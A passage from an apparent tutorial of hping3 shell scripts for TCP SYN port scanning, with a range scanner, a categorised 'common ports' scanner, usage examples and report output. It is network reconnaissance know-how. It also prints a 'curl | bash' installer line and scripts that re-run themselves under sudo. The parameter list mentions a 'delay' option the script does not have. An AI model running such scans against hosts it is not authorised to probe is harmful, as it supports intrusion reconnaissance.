    local start=$1
    local end=$2
    
    if ! [[ "$start" =~ ^[0-9]+$ ]] || ! [[ "$end" =~ ^[0-9]+$ ]]; then
        echo -e "${RED}Error: Port numbers must be integers${NC}"
        return 1
    fi
    
    if [ "$start" -lt 1 ] || [ "$start" -gt 65535 ] || [ "$end" -lt 1 ] || [ "$end" -gt 65535 ]; then
        echo -e "${RED}Error: Port numbers must be between 1-65535${NC}"
        return 1
    fi
    
    if [ "$start" -gt "$end" ]; then
        echo -e "${RED}Error: Start port must be less than or equal to end port${NC}"
        return 1
    fi
    
    return 0
}

# Function to get service name
get_service() {
    local port=$1
    if [[ -n "${SERVICE_PORTS[$port]}" ]]; then
        echo "${SERVICE_PORTS[$port]}"
    else
        # Try to get from system services file
        local service=$(grep -w "^[^#]*$port/tcp" /etc/services 2>/dev/null | head -1 | awk '{print $1}')
        if [[ -n "$service" ]]; then
            echo "$service"
        else
            echo "unknown"
        fi
    fi
}

# Function to scan a single port
scan_port() {
    local target=$1
    local port=$2
    local tmpfile=$3
    
    # Run hping3 with timeout
    local result=$(timeout 2 hping3 -S -p "$port" -c 1 "$target" 2>/dev/null)
    
    if echo "$result" | grep -q "flags=SA"; then
        # Port is open (SYN+ACK received)
        local service=$(get_service "$port")
        echo "$port:open:$service" >> "$tmpfile"
        echo -e "${GREEN}[✓] Port $port/tcp open - $service${NC}"
    elif echo "$result" | grep -q "flags=RA"; then
        # Port is closed (RST+ACK received)
        echo "$port:closed" >> "${tmpfile}.closed"
    else
        # Port is filtered or no response
        echo "$port:filtered" >> "${tmpfile}.filtered"
    fi
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Validate port range
if ! validate_ports "$START_PORT" "$END_PORT"; then
    exit 1
fi

# Validate threads
if ! [[ "$THREADS" =~ ^[0-9]+$ ]] || [ "$THREADS" -lt 1 ] || [ "$THREADS" -gt 500 ]; then
    echo -e "${RED}Error: Threads must be between 1-500${NC}"
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check for timeout command
if ! command -v gtimeout &> /dev/null && ! command -v timeout &> /dev/null; then
    echo -e "${YELLOW}Warning: timeout command not found${NC}"
    echo "Install with: brew install coreutils"
    echo "Continuing without timeout protection..."
    echo ""
    
    # Create wrapper function for timeout
    timeout() {
        shift  # Remove the timeout value
        "$@"   # Execute the command directly
    }
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: TCP SYN scan requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Calculate total ports
TOTAL_PORTS=$((END_PORT - START_PORT + 1))

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║        TCP SYN PORT SCANNER            ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}        $TARGET"
echo -e "  ${BLUE}Port Range:${NC}    $START_PORT - $END_PORT"
echo -e "  ${BLUE}Total Ports:${NC}   $TOTAL_PORTS"
echo -e "  ${BLUE}Threads:${NC}       $THREADS"
echo -e "  ${BLUE}Scan Type:${NC}     TCP SYN (Half-open)"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Resolve target to IP
echo -e "${YELLOW}[*] Resolving target...${NC}"
TARGET_IP=$(ping -c 1 "$TARGET" 2>/dev/null | grep -oE "\([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\)" | tr -d '()')
if [ -z "$TARGET_IP" ]; then
    TARGET_IP="$TARGET"
    echo -e "${YELLOW}[*] Could not resolve hostname, using as-is${NC}"
else
    echo -e "${GREEN}[✓] Target resolved to: $TARGET_IP${NC}"
fi

# Create temporary files
TMPDIR=$(mktemp -d)
OPEN_PORTS_FILE="$TMPDIR/open_ports"
trap "rm -rf $TMPDIR" EXIT

# Start time
START_TIME=$(date +%s)

echo ""
echo -e "${GREEN}[+] Starting TCP SYN scan...${NC}"
echo -e "${YELLOW}[*] Scanning $TOTAL_PORTS ports with $THREADS parallel threads${NC}"
echo ""

# Progress tracking
SCANNED=0
JOBS_COUNT=0

# Function to update progress
show_progress() {
    local current=$1
    local total=$2
    local percent=$((current * 100 / total))
    printf "\r${CYAN}Progress: [%-50s] %d%% (%d/%d ports)${NC}" \
           "$(printf '#%.0s' $(seq 1 $((percent / 2))))" \
           "$percent" "$current" "$total"
}

# Main scanning loop
for port in $(seq $START_PORT $END_PORT); do
    # Launch scan in background
    scan_port "$TARGET_IP" "$port" "$OPEN_PORTS_FILE" &
    
    # Manage parallel jobs
    JOBS_COUNT=$(jobs -r | wc -l)
    while [ "$JOBS_COUNT" -ge "$THREADS" ]; do
        sleep 0.05
        JOBS_COUNT=$(jobs -r | wc -l)
    done
    
    # Update progress
    ((SCANNED++))
    show_progress "$SCANNED" "$TOTAL_PORTS"
done

# Wait for remaining jobs
echo -e "\n${YELLOW}[*] Waiting for remaining scans to complete...${NC}"
wait

# End time
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))

# Process results
echo -e "\r\033[K"
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}           SCAN RESULTS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Count results
OPEN_COUNT=0
CLOSED_COUNT=0
FILTERED_COUNT=0

if [ -f "$OPEN_PORTS_FILE" ]; then
    OPEN_COUNT=$(wc -l < "$OPEN_PORTS_FILE" | tr -d ' ')
fi
if [ -f "${OPEN_PORTS_FILE}.closed" ]; then
    CLOSED_COUNT=$(wc -l < "${OPEN_PORTS_FILE}.closed" | tr -d ' ')
fi
if [ -f "${OPEN_PORTS_FILE}.filtered" ]; then
    FILTERED_COUNT=$(wc -l < "${OPEN_PORTS_FILE}.filtered" | tr -d ' ')
fi

# Display open ports
if [ "$OPEN_COUNT" -gt 0 ]; then
    echo -e "${GREEN}[✓] Found $OPEN_COUNT open port(s)${NC}"
    echo ""
    echo -e "${MAGENTA}Open Ports:${NC}"
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    printf "${WHITE}%-10s %-15s %s${NC}\n" "PORT" "STATE" "SERVICE"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    # Sort and display open ports
    sort -t: -k1 -n "$OPEN_PORTS_FILE" | while IFS=: read -r port state service; do
        printf "${GREEN}%-10s${NC} ${GREEN}%-15s${NC} ${YELLOW}%s${NC}\n" "$port/tcp" "$state" "$service"
    done
    
    # Save detailed report
    REPORT_FILE="tcp_scan_${TARGET}_$(date +%Y%m%d_%H%M%S).txt"
    {
        echo "TCP SYN Scan Report"
        echo "==================="
        echo "Target: $TARGET ($TARGET_IP)"
        echo "Port Range: $START_PORT - $END_PORT"
        echo "Scan Date: $(date)"
        echo "Duration: ${DURATION} seconds"
        echo "Scan Rate: $(( TOTAL_PORTS / (DURATION + 1) )) ports/second"
        echo ""
        echo "Results Summary:"
        echo "----------------"
        echo "Open ports: $OPEN_COUNT"
        echo "Closed ports: $CLOSED_COUNT"
        echo "Filtered ports: $FILTERED_COUNT"
        echo ""
        echo "Open Ports Detail:"
        echo "------------------"
        sort -t: -k1 -n "$OPEN_PORTS_FILE" | while IFS=: read -r port state service; do
            printf "%-10s %-15s %s\n" "$port/tcp" "$state" "$service"
        done
    } > "$REPORT_FILE"
    
    echo ""
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${BLUE}[*] Detailed report saved to: $REPORT_FILE${NC}"
else
    echo -e "${YELLOW}[-] No open ports found in the specified range${NC}"
    echo -e "${YELLOW}    Possible reasons:${NC}"
    echo -e "${YELLOW}    • All ports are closed or filtered${NC}"
    echo -e "${YELLOW}    • Firewall is blocking SYN packets${NC}"
    echo -e "${YELLOW}    • Target is down or unreachable${NC}"
fi

# Display statistics
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}           STATISTICS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "  ${BLUE}Ports Scanned:${NC}  $TOTAL_PORTS"
echo -e "  ${GREEN}Open:${NC}           $OPEN_COUNT"
echo -e "  ${RED}Closed:${NC}         $CLOSED_COUNT"
echo -e "  ${YELLOW}Filtered:${NC}       $FILTERED_COUNT"
echo -e "  ${BLUE}Scan Duration:${NC}  ${DURATION} seconds"
echo -e "  ${BLUE}Scan Rate:${NC}      ~$(( TOTAL_PORTS / (DURATION + 1) )) ports/sec"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit 0
EOF

chmod +x ~/hping3-scripts/tcp_syn_scan.sh

How to Run:

# Scan default ports 1-1000
./tcp_syn_scan.sh example.com

# Scan specific range
./tcp_syn_scan.sh 192.168.1.1 1 100

# Quick scan of common services
./tcp_syn_scan.sh server.local 20 445

# Full port scan with 100 threads
./tcp_syn_scan.sh example.com 1 65535 100

# Scan web ports
./tcp_syn_scan.sh webserver.com 80 443

# Scan database ports
./tcp_syn_scan.sh dbserver.com 3300 3400

# Get help
./tcp_syn_scan.sh --help

Parameters Explained:
– **target** (required): Hostname or IP address to scan
– **start_port** (optional, default: 1): First port in the range to scan
– **end_port** (optional, default: 1000): Last port in the range to scan
– **delay** (optional, default: u1000): Delay between packets (u=microseconds)

Script 5: Common Ports Scanner:

Purpose:
Scans a predefined list of commonly used ports with service identification. This is more efficient than scanning large port ranges when looking for standard services.

Create the Script:

brew install coreutils

cat > ~/hping3-scripts/common_ports_scan.sh << 'EOF'
#!/bin/zsh

# Common Ports Scanner using hping3
# Scans commonly used ports with predefined or custom port lists
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
WHITE='\033[1;37m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
SCAN_TYPE="${2:-default}"
CUSTOM_PORTS="$3"
THREADS="${4:-50}"

# Port categories
declare -A PORT_CATEGORIES=(
    ["default"]="21,22,23,25,53,80,110,143,443,445,3306,3389,5432,8080,8443"
    ["web"]="80,443,8080,8443,8000,8888,3000,5000,9000"
    ["mail"]="25,110,143,465,587,993,995"
    ["database"]="1433,1521,3306,5432,5984,6379,7000,7001,8086,9042,9200,11211,27017"
    ["remote"]="22,23,3389,5900,5901,5902"
    ["file"]="20,21,69,139,445,873,2049"
    ["top100"]="7,9,13,21,22,23,25,26,37,53,79,80,81,88,106,110,111,113,119,135,139,143,144,179,199,389,427,443,444,445,465,513,514,515,543,544,548,554,587,631,646,873,990,993,995,1025,1026,1027,1028,1029,1110,1433,1521,1701,1720,1723,1755,1900,2000,2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000,6001,6379,6646,7000,7070,8000,8008,8009,8080,8081,8443,8888,9100,9200,9999,10000,27017,32768,49152,49153,49154,49155,49156,49157"
    ["top1000"]="1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5905,5906,5907,5908,5909,5910,5911,5912,5913,5914,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6379,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9300,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11211,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27017,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389"
)

# Service mapping
declare -A SERVICE_NAMES=(
    [20]="FTP-Data"
    [21]="FTP"
    [22]="SSH"
    [23]="Telnet"
    [25]="SMTP"
    [53]="DNS"
    [67]="DHCP"
    [68]="DHCP"
    [69]="TFTP"
    [80]="HTTP"
    [110]="POP3"
    [123]="NTP"
    [135]="MSRPC"
    [137]="NetBIOS-NS"
    [138]="NetBIOS-DGM"
    [139]="NetBIOS-SSN"
    [143]="IMAP"
    [161]="SNMP"
    [162]="SNMP-Trap"
    [389]="LDAP"
    [443]="HTTPS"
    [445]="SMB"
    [465]="SMTPS"
    [514]="Syslog"
    [515]="LPD"
    [587]="SMTP-TLS"
    [636]="LDAPS"
    [873]="Rsync"
    [993]="IMAPS"
    [995]="POP3S"
    [1433]="MSSQL"
    [1521]="Oracle"
    [1723]="PPTP"
    [2049]="NFS"
    [3306]="MySQL"
    [3389]="RDP"
    [5432]="PostgreSQL"
    [5900]="VNC"
    [5984]="CouchDB"
    [6379]="Redis"
    [7000]="Cassandra"
    [8000]="HTTP-Alt"
    [8080]="HTTP-Proxy"
    [8086]="InfluxDB"
    [8443]="HTTPS-Alt"
    [8888]="HTTP-Alt2"
    [9000]="SonarQube"
    [9042]="Cassandra-CQL"
    [9200]="Elasticsearch"
    [11211]="Memcached"
    [27017]="MongoDB"
)

# Function to print usage
print_usage() {
    local script_name="./common_ports_scan.sh"
    echo "Usage: $script_name <target> [scan_type|custom_ports] [threads]"
    echo ""
    echo "Scan Types:"
    echo "  default    - Top 15 most common ports (default)"
    echo "  web        - Web server ports (80, 443, 8080, etc.)"
    echo "  mail       - Mail server ports (25, 110, 143, etc.)"
    echo "  database   - Database ports (MySQL, PostgreSQL, MongoDB, etc.)"
    echo "  remote     - Remote access ports (SSH, RDP, VNC, etc.)"
    echo "  file       - File sharing ports (FTP, SMB, NFS, etc.)"
    echo "  top100     - Top 100 most common ports"
    echo "  top1000    - Top 1000 most common ports"
    echo "  custom     - Specify custom ports as comma-separated list"
    echo ""
    echo "Parameters:"
    echo "  target     - Hostname or IP address to scan"
    echo "  scan_type  - Type of scan or comma-separated port list"
    echo "  threads    - Number of parallel threads (default: 50)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com                    # Scan default ports"
    echo "  $script_name example.com web                # Scan web ports"
    echo "  $script_name example.com database           # Scan database ports"
    echo "  $script_name example.com top100             # Scan top 100 ports"
    echo "  $script_name example.com \"22,80,443,3306\"   # Custom ports"
    echo "  $script_name example.com top1000 100        # Top 1000 with 100 threads"
}

# Function to get service name
get_service_name() {
    local port=$1
    if [[ -n "${SERVICE_NAMES[$port]}" ]]; then
        echo "${SERVICE_NAMES[$port]}"
    else
        # Try to get from system services
        local service=$(grep -w "^[^#]*$port/tcp" /etc/services 2>/dev/null | head -1 | awk '{print $1}')
        if [[ -n "$service" ]]; then
            echo "$service"
        else
            echo "Unknown"
        fi
    fi
}

# Function to scan a single port
scan_port() {
    local target=$1
    local port=$2
    local tmpfile=$3
    
    # Run hping3 with timeout
    local result=$(timeout 2 hping3 -S -p "$port" -c 1 "$target" 2>/dev/null || true)
    
    if echo "$result" | grep -q "flags=SA"; then
        # Port is open (SYN+ACK received)
        local service=$(get_service_name "$port")
        echo "$port:$service" >> "$tmpfile"
        echo -e "${GREEN}[✓] Port $port/tcp open - $service${NC}"
    fi
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Determine ports to scan
if [[ "$SCAN_TYPE" =~ ^[0-9,]+$ ]]; then
    # Custom ports provided
    PORTS_TO_SCAN="$SCAN_TYPE"
    SCAN_DESCRIPTION="Custom ports"
elif [[ -n "${PORT_CATEGORIES[$SCAN_TYPE]}" ]]; then
    # Predefined category
    PORTS_TO_SCAN="${PORT_CATEGORIES[$SCAN_TYPE]}"
    SCAN_DESCRIPTION="$SCAN_TYPE ports"
else
    # Invalid scan type, use default
    PORTS_TO_SCAN="${PORT_CATEGORIES[default]}"
    SCAN_DESCRIPTION="Default common ports"
    if [[ -n "$SCAN_TYPE" ]] && [[ "$SCAN_TYPE" != "default" ]]; then
        echo -e "${YELLOW}Warning: Unknown scan type '$SCAN_TYPE', using default${NC}"
    fi
fi

# Parse threads parameter
if [[ -n "$CUSTOM_PORTS" ]] && [[ "$CUSTOM_PORTS" =~ ^[0-9]+$ ]]; then
    THREADS="$CUSTOM_PORTS"
elif [[ -n "$3" ]] && [[ "$3" =~ ^[0-9]+$ ]]; then
    THREADS="$3"
fi

# Validate threads
if ! [[ "$THREADS" =~ ^[0-9]+$ ]] || [ "$THREADS" -lt 1 ] || [ "$THREADS" -gt 500 ]; then
    THREADS=50
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check for timeout command and create appropriate wrapper
if command -v gtimeout &> /dev/null; then
    # macOS with coreutils installed
    timeout() {
        gtimeout "$@"
    }
elif command -v timeout &> /dev/null; then
    # Linux or other systems with timeout
    timeout() {
        command timeout "$@"
    }
else
    # No timeout command available
    echo -e "${YELLOW}Warning: timeout command not found${NC}"
    echo "Install with: brew install coreutils"
    echo "Continuing without timeout protection..."
    echo ""
    timeout() {
        shift  # Remove timeout value
        "$@"   # Execute command directly
    }
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: TCP SYN scan requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Convert ports to array (zsh compatible)
IFS=',' PORT_ARRAY=(${=PORTS_TO_SCAN})
TOTAL_PORTS=${#PORT_ARRAY[@]}

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║      COMMON PORTS SCANNER              ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}      $TARGET"
echo -e "  ${BLUE}Scan Type:${NC}   $SCAN_DESCRIPTION"
echo -e "  ${BLUE}Total Ports:${NC} $TOTAL_PORTS"
echo -e "  ${BLUE}Threads:${NC}     $THREADS"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Resolve target
echo -e "${YELLOW}[*] Resolving target...${NC}"
TARGET_IP=$(ping -c 1 "$TARGET" 2>/dev/null | grep -oE "\([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\)" | tr -d '()')
if [ -z "$TARGET_IP" ]; then
    TARGET_IP="$TARGET"
    echo -e "${YELLOW}[*] Could not resolve hostname, using as-is${NC}"
else
    echo -e "${GREEN}[✓] Target resolved to: $TARGET_IP${NC}"
fi

# Create temporary files
TMPDIR=$(mktemp -d)
OPEN_PORTS_FILE="$TMPDIR/open_ports"
trap "rm -rf $TMPDIR" EXIT

# Start time
START_TIME=$(date +%s)

echo ""
echo -e "${GREEN}[+] Starting scan of $TOTAL_PORTS common ports...${NC}"
echo ""

# Progress tracking
SCANNED=0

# Function to update progress
show_progress() {
    local current=$1
    local total=$2
    if [ "$total" -eq 0 ]; then
        return
    fi
    local percent=$((current * 100 / total))
    printf "\r${CYAN}Progress: [%-50s] %d%% (%d/%d ports)${NC}" \
           "$(printf '#%.0s' $(seq 1 $((percent / 2))))" \
           "$percent" "$current" "$total"
}

# Main scanning loop
for port in "${PORT_ARRAY[@]}"; do
    # Remove any whitespace
    port=$(echo "$port" | tr -d ' ')
    
    # Launch scan in background
    scan_port "$TARGET_IP" "$port" "$OPEN_PORTS_FILE" &
    
    # Manage parallel jobs
    JOBS_COUNT=$(jobs -r | wc -l)
    while [ "$JOBS_COUNT" -ge "$THREADS" ]; do
        sleep 0.05
        JOBS_COUNT=$(jobs -r | wc -l)
    done
    
    # Update progress
    ((SCANNED++))
    show_progress "$SCANNED" "$TOTAL_PORTS"
done

# Wait for remaining jobs
echo -e "\n${YELLOW}[*] Waiting for remaining scans to complete...${NC}"
wait

# End time
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))

# Process results
echo -e "\r\033[K"
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}           SCAN RESULTS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Count open ports
OPEN_COUNT=0
if [ -f "$OPEN_PORTS_FILE" ]; then
    OPEN_COUNT=$(wc -l < "$OPEN_PORTS_FILE" | tr -d ' ')
fi

# Display results
if [ "$OPEN_COUNT" -gt 0 ]; then
    echo -e "${GREEN}[✓] Found $OPEN_COUNT open port(s)${NC}"
    echo ""
    echo -e "${MAGENTA}Open Ports Summary:${NC}"
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    printf "${WHITE}%-10s %-20s${NC}\n" "PORT" "SERVICE"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    # Sort and display open ports
    sort -t: -k1 -n "$OPEN_PORTS_FILE" | while IFS=: read -r port service; do
        printf "${GREEN}%-10s${NC} ${YELLOW}%-20s${NC}\n" "$port/tcp" "$service"
    done
    
    # Group by service type
    echo ""
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${MAGENTA}Services by Category:${NC}"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    # Categorize services
    WEB_PORTS=""
    MAIL_PORTS=""
    DB_PORTS=""
    REMOTE_PORTS=""
    FILE_PORTS=""
    OTHER_PORTS=""
    
    while IFS=: read -r port service; do
        case $port in
            80|443|8080|8443|8000|8888|3000|5000|9000)
                WEB_PORTS="${WEB_PORTS}${port}($service) "
                ;;
            25|110|143|465|587|993|995)
                MAIL_PORTS="${MAIL_PORTS}${port}($service) "
                ;;
            1433|1521|3306|5432|6379|7000|9200|11211|27017)
                DB_PORTS="${DB_PORTS}${port}($service) "
                ;;
            22|23|3389|5900|5901|5902)
                REMOTE_PORTS="${REMOTE_PORTS}${port}($service) "
                ;;
            20|21|69|139|445|873|2049)
                FILE_PORTS="${FILE_PORTS}${port}($service) "
                ;;
            *)
                OTHER_PORTS="${OTHER_PORTS}${port}($service) "
                ;;
        esac
    done < "$OPEN_PORTS_FILE"
    
    [[ -n "$WEB_PORTS" ]] && echo -e "${BLUE}Web Services:${NC} $WEB_PORTS"
    [[ -n "$MAIL_PORTS" ]] && echo -e "${BLUE}Mail Services:${NC} $MAIL_PORTS"
    [[ -n "$DB_PORTS" ]] && echo -e "${BLUE}Database Services:${NC} $DB_PORTS"
    [[ -n "$REMOTE_PORTS" ]] && echo -e "${BLUE}Remote Access:${NC} $REMOTE_PORTS"
    [[ -n "$FILE_PORTS" ]] && echo -e "${BLUE}File Services:${NC} $FILE_PORTS"
    [[ -n "$OTHER_PORTS" ]] && echo -e "${BLUE}Other Services:${NC} $OTHER_PORTS"
    
    # Save report
    REPORT_FILE="common_ports_${TARGET}_$(date +%Y%m%d_%H%M%S).txt"
    {
        echo "Common Ports Scan Report"
        echo "========================"
        echo "Target: $TARGET ($TARGET_IP)"
        echo "Scan Type: $SCAN_DESCRIPTION"
        echo "Total Ports Scanned: $TOTAL_PORTS"
        echo "Open Ports Found: $OPEN_COUNT"
        echo "Scan Date: $(date)"
        echo "Duration: ${DURATION} seconds"
        echo ""
